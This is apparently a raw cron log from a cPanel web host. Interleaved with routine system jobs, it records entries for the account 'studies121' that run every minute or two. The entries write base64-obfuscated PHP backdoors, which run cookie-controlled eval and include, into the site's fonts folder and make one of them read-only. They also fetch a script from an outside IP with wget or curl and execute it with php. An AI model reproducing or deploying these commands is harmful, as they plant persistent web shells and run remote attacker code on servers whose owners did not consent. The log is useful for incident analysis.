Sep 20 07:51:01 ip-184-168-122-23 CROND[10602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:51:01 ip-184-168-122-23 CROND[10605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:51:01 ip-184-168-122-23 CROND[10604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:51:01 ip-184-168-122-23 CROND[10607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:52:01 ip-184-168-122-23 CROND[10957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:52:01 ip-184-168-122-23 CROND[10956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:52:01 ip-184-168-122-23 CROND[10959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:52:01 ip-184-168-122-23 CROND[10961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:52:01 ip-184-168-122-23 CROND[10963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:53:01 ip-184-168-122-23 CROND[11211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:53:01 ip-184-168-122-23 CROND[11213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:53:01 ip-184-168-122-23 CROND[11214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:53:01 ip-184-168-122-23 CROND[11215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:54:02 ip-184-168-122-23 CROND[11464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:54:02 ip-184-168-122-23 CROND[11465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:54:02 ip-184-168-122-23 CROND[11470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:54:02 ip-184-168-122-23 CROND[11468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:54:02 ip-184-168-122-23 CROND[11471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:55:01 ip-184-168-122-23 CROND[11695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:55:01 ip-184-168-122-23 CROND[11697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:55:01 ip-184-168-122-23 CROND[11699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:55:01 ip-184-168-122-23 CROND[11701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:55:01 ip-184-168-122-23 CROND[11700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:55:01 ip-184-168-122-23 CROND[11704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:56:01 ip-184-168-122-23 CROND[11960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:56:01 ip-184-168-122-23 CROND[11962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:56:01 ip-184-168-122-23 CROND[11961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:56:01 ip-184-168-122-23 CROND[11963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:56:01 ip-184-168-122-23 CROND[11964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:57:02 ip-184-168-122-23 CROND[12310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:57:02 ip-184-168-122-23 CROND[12309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:57:02 ip-184-168-122-23 CROND[12311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:57:02 ip-184-168-122-23 CROND[12313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:58:01 ip-184-168-122-23 CROND[12554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:58:01 ip-184-168-122-23 CROND[12555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:58:01 ip-184-168-122-23 CROND[12560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:58:01 ip-184-168-122-23 CROND[12562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:58:01 ip-184-168-122-23 CROND[12561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:59:01 ip-184-168-122-23 CROND[12866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:59:01 ip-184-168-122-23 CROND[12867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:59:01 ip-184-168-122-23 CROND[12870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:59:01 ip-184-168-122-23 CROND[12872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:00:01 ip-184-168-122-23 CROND[13102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:00:01 ip-184-168-122-23 CROND[13105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13112]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13115]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:00:01 ip-184-168-122-23 CROND[13111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:00:01 ip-184-168-122-23 CROND[13113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:01:01 ip-184-168-122-23 CROND[13432]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 08:01:01 ip-184-168-122-23 CROND[13435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13432]: starting 0anacron
Sep 20 08:01:01 ip-184-168-122-23 CROND[13437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:01:01 ip-184-168-122-23 CROND[13439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:01:01 ip-184-168-122-23 CROND[13438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 08:01:01 ip-184-168-122-23 CROND[13442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13453]: finished 0anacron
Sep 20 08:02:01 ip-184-168-122-23 CROND[13795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:02:01 ip-184-168-122-23 CROND[13796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:02:01 ip-184-168-122-23 CROND[13799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:02:01 ip-184-168-122-23 CROND[13800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:02:01 ip-184-168-122-23 CROND[13798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
